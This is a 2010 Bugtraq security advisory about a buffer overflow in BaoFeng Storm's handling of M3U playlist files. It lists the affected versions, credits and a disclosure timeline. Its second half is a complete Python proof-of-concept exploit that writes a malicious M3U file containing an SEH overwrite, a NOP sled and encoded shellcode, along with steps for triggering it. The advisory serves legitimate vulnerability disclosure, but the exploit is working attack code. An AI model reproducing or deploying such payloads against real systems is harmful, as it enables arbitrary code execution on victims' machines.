bugtraq - BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability

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Date: Thu, 06 May 2010 11:27:50 +0800
From: lilf <lilf@...soft.com>
To: bugtraq <bugtraq@...urityfocus.com>
Subject: BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability

BaoFeng Storm M3U File Processing Buffer Overflow Vulnerability

Vulnerable: Storm2012 3.10.4.21  
	    Storm2012 3.10.4.16
	    Storm2012 3.10.4.8
	    Storm2012 3.10.3.17
	    Storm2012 3.10.2.5
	    Storm2012 3.10.1.12
            Other versions also may be affected

Vendor:	www.baofeng.com

1) Software Description:
BaoFeng Storm is very popular universal multimedia player in china.

2) Details:
A  buffer overflow vulnerability in BaoFeng Storm that Processing m3u file. allows remote attackers to execute arbitrary code via a long string in an M3U file. 

3) Credit:
The vulnerability was discovered by Qingshan Li and Lufeng Li of Neusoft Corporation

4) Timeline:
2010.04.26   Report to CNVD
2010.04.29   Vendor upgrade
2010.05.06   Public

5) Exploit:
#!/usr/bin/env python

#################################################################
#
# Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit
# CNVD-ID: CNVD-2010-00752
# Found By: Qingshan Li and Lufeng Li of Neusoft Corporation
# Download: www.baofeng.com
# Test: Put m3u file in root(e.g. c:/ d:/),and open this m3u file
# Platform: Windows XPSP3 Chinese Simplified
#
#################################################################
file= "baofeng.m3u"
junk ="\x41"*795
nseh="\x61\xe8\xe1"
seh="\xaa\xd7\x40"

jmp ="\x53\x53\x6d\x58\x6d\x05\x11\x22\x6d\x2d\x10\x22\x6d\xac\xe4"
nops ="\x42" * 110
shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZA"
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
"QQ2LRCM0LJA")

fobj=open(file,"w")
payload=junk+nseh+seh+jmp+nops+shellcode
fobj.write(payload)
fobj.close()

--------------
Qingshan Li and Lufeng Li
2010-05-06

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